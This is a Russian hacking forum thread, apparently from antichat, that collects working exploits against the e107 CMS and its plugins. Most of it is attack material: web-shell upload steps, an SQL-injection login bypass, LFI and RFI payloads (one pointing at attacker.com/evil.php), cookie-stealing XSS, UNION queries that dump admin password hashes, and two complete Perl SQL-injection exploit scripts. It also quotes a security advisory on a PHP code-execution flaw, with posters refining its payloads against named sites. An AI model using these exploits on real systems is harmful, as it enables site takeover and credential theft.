Загрузка шела в e107 cms Админка: " Зайгрузки файлов пользователями ": разрешаем загружать загрузки +"нормальный файл", добавляем " .php " в "Разрешённые типы файлов". В меню появляются "Загрузка", заливаем файл. target/e107_files/public/file.php +посмотреть полный путь можно через админ панель категория " Зайгрузки файлов пользователями "
Обзор уязвимостей [e107] cms <=0.6 file create exploit Уязвимость пристутствует из-за неправильной обработке реквестов к серверу, существует возможность послать свои собственные и создать произвольный файл. <=0.6.17 Active xss PoC 0.617 sql inj + remote code exec Уязвимсоть присутствует из-за плохой проверки на логин. Возможно авторизироваться в админ панели с логином вида Code: or isnull(1/0)/* Затем эксплоит заливает шелл через аплоуд модулей. <=0.75 globals overwrite Использует перезапись глобальных переменных с помощью пхп-баги - Zend_Hash_Del_Key_Or_Index cookie file include Работвет при register_globals = on, перезаписывает глобальную переменную e_LANGUAGE в кукисах. Code: Cookie: e107language_e107cookie=../../../../../../../../../etc/passwd%00 0.7.8 Upload file exploit (нужен админ) Уязвимость присутствует из-за использования popen ф-ии на параметр $mailer, который пеердается через адресную строку в админ панеле. Аплоуд файлов в галерее Нет нормальной проверки на экстеншен. Возможен аплоуд файлов с расширением shell.php.jpg
Multiple XSS in Chatbox, forum posts: HTML: [img]/imgsrc.png' onmouseover='alert("Vulnerable");[/img] [link]/link.htm" onmouseover="alert('Vulnerable');[/link] [email]/foo_at_bar.com"onmouseover="alert('Vulnerable');[/email] [url]/url.htm" onmouseover="alert('Vulnerable');[/url] e107 Subject field HTML injection Vulnerability Code: In Submit comment: Subject: '><script>alert(/XSS/)</script> 0.545 & 0.603 e107 with the Chatbox.php (tagboard) module enabled.DoS. In the Name inputbox of the Chatbox type: Code: <script = javascript> alert('DoS') <script> 6.* Html attachment: Code: <html> <body> <script>alert('VULN');</script> </body> </html> XSS Vulnerability in "Netquery" (nquser.php) plugin. Code: GET http://virtech.org/e107/e107_plugins/netquery/nquser.php HTTP/1.0 Accept: */* Referer: http://virtech.org/tools/ Accept-Language: en-us Pragma: no-cache User-Agent: [COLOR=Red]<script>alert()</script>[/COLOR] Host: virtech.org Proxy-Connection: Keep-Alive Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420 Content-length: 0 0.6.15 XSS in "user settings" (usersettings.php): Code: http://target/e107_0615/usersettings.php?avmsg=[xss code here] XSS Vulnerability in "Clock Menu" (clock_menu.php) plugin. Code: http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E Other RFI: 0.6.15 Code: http://target/e107_0615/e107_handlers/secure_img_render.php?p=http://attacker.com/evil.php Other Sql injection: 0.6.15 Sql injection bug in "news.php": Code: http://localhost/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/* Sql injection bug in "content.php": Code: http://localhost/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/* Code: http://localhost/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
Фу ты блин а я уж думал нету специальной темы под эту цмс. ГГ откопал) 0.7.11 (мб и ранние версии) Passive XSS Code: [b]http://e107/e107_plugins/content/handlers/content_preset.php[/b] [b]POST[/b]:addpreset=1&type=select&field=1'>[b]<script>alert()</script>[/b]<&options[0]=1&options[1]=1
Эксплоит автора, который пожелал остаться неизвестным (действует в e107 0.7.8 точно, возможно, и других тоже) Code: <form action="http://tanibata.ru/contact.php" method="POST"> <input name="send-contactus" value="1"/> <input name="body" value="This is a test email"/> <input name="email_send" value="[email protected]"/> <input name="author_name" value="user_name_here"/> <input name="subject" value="It is e107 bug"/><br/> <input size=200 name="contact_person" value="-999 union select 1,conсat(user_password,char(32),user_loginname,'<[email protected]>') from e107_user where user_id=1/*"/> <br/><input type="submit" value="ok"/> </form> Само собой, при magic_quotes=On SQL-запрос нужно перекодировать char() или hex (0x..)
e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit Code: #!/usr/bin/perl ##################################################################################### # e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit # # ..::virangar security team::.. # # www.virangar.net # # C0d3d BY:virangar security team ( hadihadi ) # #special tnx to: # #MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra # #& all virangar members & all hackerz # # my lovely friends hadi_aryaie2004 & arash(imm02tal) # # ..:::Young Iranina Hackerz::.. # ##################################################################################### #[-] note: becuse e107 using diffrent prefix/table names may it's not work good,but i wrote it for default mod ;) #this code is for english e107's only,if you want work on other languages,you can edit line 67;) use HTTP::Request; use LWP::UserAgent; if (@ARGV != 1){ header(); } $host = $ARGV[0]; print "\n md5 Password:\r\n"; &halghe(); print "\n[+]Done\n"; sub halghe { for($i = 1; $i <= 32; $i++){ $f = 0; $n = 48; while(!$f && $n <= 57) { if(&inject($host, $i, $n,)){ $f = 1; syswrite(STDOUT, chr($n), 1); } $n++; } if(!$f){ $n=97; while(!$f && $n <= 102) { if(&inject($host, $i, $n,)){ $f = 1; syswrite(STDOUT, chr($n), 1); } $n++; }} } } sub inject { my $site = $_[0]; my $a = $_[1]; my $b = $_[2]; $col = "user_password"; $attack= "$site"."%20and%20substring((select%20"."$col"."%20from%20e107_user%20where%20user_id=1%20limit%200,1),"."$a".",1)=char("."$b".")/*"; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $req = $b->request(HTTP::Request->new(GET=>$attack)); $res = $req->content; if ($res !~ /The user has hidden their blog./i){ return 1; } } sub header { print qq{ ################################################################### # e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit # # (just for english e107's) # # www.virangar.net # # Useage: perl $0 Host # # # # Host: full patch to macgurublog.php+uid (dont forget http://) # # # # Example: # # perl $0 http://site/macgurublog_menu/macgurublog.php?uid=5 # # # ################################################################### }; } # milw0rm.com [2008-07-29]
Description: e107 versions 0.7.11 and below suffer from an arbitrary variable overwriting vulnerability. Code: ########################################################## # GulfTech Security Research August 07, 2008 ########################################################## # Vendor : Steve Dunstan # URL : http://www.e107.org/ # Version : e107 <= 0.7.11 # Risk : Arbitrary Variable Overwriting ########################################################## Description: e107 is a popular full featured content management system written in php. Unfortunately e107 suffers from an arbitrary variable overwriting issue within it's download.php file that allows a number of possible attacks to happen including, but possibly not limited to, arbitrary php code execution and SQL Injection. No authentication is required to exploit the issue and it can be exploited regardless of php magic quotes settings. All users are encouraged to upgrade their e107 installations as soon as possible. Arbitrary Variable Overwriting: There is an arbitrary variable overwrite issue in download.php that is the result of unsafe usage of the php extract() function. Let's have a look at the code located in download.php @ lines 85-86 case 'list' : // Category-based listing if (isset($_POST['view'])) extract($_POST); As we see from the above code it is very much possible to overwrite any variables declared up to this point, but what is the real risk here? What attacks are possible because of this issue? view=1&id=-99') UNION SELECT concat(user_name,char(58), user_password), 2,3,4 FROM e107_user WHERE user_id=1/* One possible attack could involve an attacker sending a post request to the downloads category view page (download.php?list.1 for example) with the above data as the post contents, and as a result the username and pass hash will be displayed in the page title. This SQL Injection does require magic quotes to be set to it's default value of off. view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec (base64_decode($_POST[execute])); In addition to the SQL Injection is an arbitrary php code execution vulnerability. I found that it is possible to execute arbitrary php code by sending a post request to the downloads category view page with the above data as the post contents. The above example will successfully execute the "id" shell command regardless if php magic quotes gpc settings. A valid download category must be available though, but this is trivial since an attacker can use the previously explained SQL Injection to gain admin credentials and add a download category. Other attacks may be possible though since a majority of the important variables within the script are at risk. Solution: A fix for the issue mentioned in this advisory can be found in the public e107 CVS repository, or accessed directly at the link below. http://e107.cvs.sourceforge.net/e107/e107_0.7/download.php?r1=1.95&r2=1.96&view=patch&pathrev=MAIN Credits: James Bercegay of the GulfTech Security Research Team Related Info: The original advisory can be found at the following location http://www.gulftech.org/?node=research&article_id=00122-08072008
view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec (base64_decode($_POST[execute])); при таком запросе работать не будет, наверно сделали защиту от скрипткидисов view=1&action=list&template_load_core=phpinfo(); скуль фигня самое страшно php-injection PHP: $template_load_core = ' ..... '; .... switch ($action) { case 'list' : if (isset($_POST['view'])) extract($_POST); if ($sql->db_Select("download_category", "download_category_name,download_category_description,download_category_parent,download_category_class", "(download_category_id='{$id}') AND (download_category_class IN (".USERCLASS_LIST."))") ) { ... eval($template_load_core); рабочий запрос если в download.php есть хоть одна статья HTML: POST http://e107 site /download.php?list.1 HTTP/1.0 User-Agent: Opera (Windows NT 5.1; U; si) Host: www.tarotclub.fr Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 If-None-Match: c858d46e89d4dfb6fcf8add468b46abb Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240 Cookie2: $Version=1 Proxy-Connection: close view=1&id=1&template_load_core=phpinfo(); если в download.php нет ниодной статьи и если magic_quotes_gpc OFF можно извратится таким запросом искользуя sql-injection HTML: POST http://e107 site /download.php?list.1 HTTP/1.0 User-Agent: Opera (Windows NT 5.1; U; si) Host: www.tarotclub.fr Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 If-None-Match: c858d46e89d4dfb6fcf8add468b46abb Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240 Cookie2: $Version=1 Proxy-Connection: close view=1&id=0')/*1*/union/*1*/select/*1*/1,2,3,4/*&template_load_core=phpinfo(); ЗЫ сплойт выкладывать не стал т.к. уже не актуально в e107 апдейт работает хорошо, через пару дней уязвимых сайтов почти не останется, эту багу нашёл 10.07.08
А что, работает? Я не знаю какую версию смотрели авторы, но у меня на локалке как раз заявленная ими v0.7.11_full Так вот , всё бы хорошо работало, если-бы там был eval() , но там его нет И кстати. если бы он там был, никакие SQL типа: там-бы нужны не были, достаточно просто постом послать (Разумеется download.php?list): Я не знаю, может у меня пропатченная, или авторы смотрели старую, был бы благодарен, если-бы кто-то дал CMS с таким кодом посмотреть.
в е107 интересные bb коды [flash=50,50]javascript:[xss][/flash], но есть злобный фильтр PHP: .... if (!preg_match('/&#|\'|"|\(|\)|<|>/s', $text)) { .... единственное что получилось использовать location вместо кавычки использовал слеш ЗЫ у ково получится по интереснее использовать багу отпишытесь
e107 Plugin BLOG Engine v2.2 SQL Injection Code: #!/usr/bin/perl ############################################################## # e107 Plugin BLOG Engine v2.2 SQL Injection Exploit # # ..::virangar security team::.. # # www.virangar.net # # C0d3d BY:virangar security team ( hadihadi ) # #special tnx to: # #MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra # #& all virangar members & all hackerz # # my lovely friends hadi_aryaie2004 & arash(imm02tal) # # ..:::Young Iranina Hackerz::.. # ############################################################## use HTTP::Request; use LWP::UserAgent; if (@ARGV != 1){ header(); } $site = $ARGV[0]; $attack= "$site"."?uid=-99999%20union%20select%201,concat(0x3c757365723e,user_name,0x3c757365723e,user_password),3%20from%20e107_user%20where%20user_ id=1/*"; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $req = $b->request(HTTP::Request->new(GET=>$attack)); $res = $req->content; if ($res =~ /<user>(.*?)<user>/){ print "\n[+] Admin User : $1";} if ($res =~/([0-9a-fA-F]{32})/){ print "\n[+] Admin Hash : $1\n\n"; print "\n[+]Done\n";} sub header { print qq{ ################################################################### # e107 Plugin BLOG Engine v2.2 SQL Injection Exploit # # www.virangar.net # # Useage: perl $0 Host # # # # Host: full patch to macgurublog.php (dont forget http://) # # # # Example: # # perl $0 http://site/macgurublog_menu/macgurublog.php # # # ################################################################### }; } #virangar.net[2008-05-22] # milw0rm.com [2008-09-01] Содрано с milw0rm.com/exploits/6346
Active XSS Версия: 0.7.12 Уязвимый кусок кода: /usersettings.php PHP: ... $_POST['realname'] = $tp->toDB($_POST['realname']); ... $sql->db_Update("user", "{$new_username} {$pwreset} {$sesschange} user_email='".$tp -> toDB($_POST['email'])."',user_signature='".$_POST['signature']."', user_image='".$tp -> toDB($_POST['image'])."', user_timezone='".$tp -> toDB($_POST['timezone'])."',user_hideemail='".intval($tp -> toDB($_POST['hideemail']))."', user_login='".$_POST['realname']."' {$new_customtitle}, user_xup='".$tp -> toDB($_POST['user_xup'])."' WHERE user_id='".intval($inp)."' "); ... Эксплоит: Profile => Click here to update your information => RealName => [Your XSS]
PHP: switch ($action) { case 'list' : // Category-based listing if (isset($_POST['view'])) extract($_POST); PHP: switch ($action) { case 'list' : // Category-based listing if (isset($_POST['view'])) extract($_POST, EXTR_SKIP);
SQL-инъекция в e107 Plugin lyrics_menu Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «l_id» сценарием lyrics_song.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Эксплоит: PHP: http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2] [SQL1] = column number 15 -1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user--
Обнаружил кривую обработку смайлов. Возможна XSS-атака Code: !<script>alert(document.cookie);</script> Версию e107 еще уточню.
Уточняй, где конкертно возможно провести xss Что - то мне подсказывает, что тестил ты под правами админа => там идет кривая обработка в функции фильтрации toDB.
Уязвимости модулей e107 e107 e107 mam_menu Component Blind-SQLinj http://e107.ru/e107_files/downloads/mam_menu2.tar.gz Уязвимый продукт: e107 mam_menu2 (Управление аккаунтами) Версия: e107 0.7.13, mam_menu2 v1.01 1. Blind sqlInjection Уязвимость в файле ban.php Уязвимый кусок кода: PHP: $unban = $_GET['accunban']; if ( $unban ){ mysql_query("UPDATE $TABLE SET user_ban = '0' WHERE user_id = $unban"); } else {}; Из кода видно, что параметр $unban не обрамляется в кавычки и ранее нигде не фильтруется - это даёт нам возможность провести sql инъекцию. Так же из кода видно, что данные в таблице обновляютса и не выводятся - это и есть причина слепоты в данной инъекции. Exploit: данний exploit будет работать только под версии >=5 (причина: визов ф-ции sleep), для более ранних версий надо использовать BENCHMARK Скрипт для работы со слепыми инъекциями от Grey: https://forum.antichat.ru/showpost.php?p=894169&postcount=5
e107 Easy Members Search v1.0+ XSS http://e107.org.ru/download.php?view.149 Уязвимый продукт: Easy Members Search v1.0+ Версия: v1.0+ Условия: magic quotes off 1. XSS Уязвимость в файле ems.php Уязвимый кусок кода: PHP: $usrname = $_GET['usrname']; ......... <input class='tbox' style='width:120px;' type='text' name='usrname' value='".$usrname."' /></td> xss атаку можна произвести из за недостаточной фильтации в файлах class2.php и ems.php Exploit: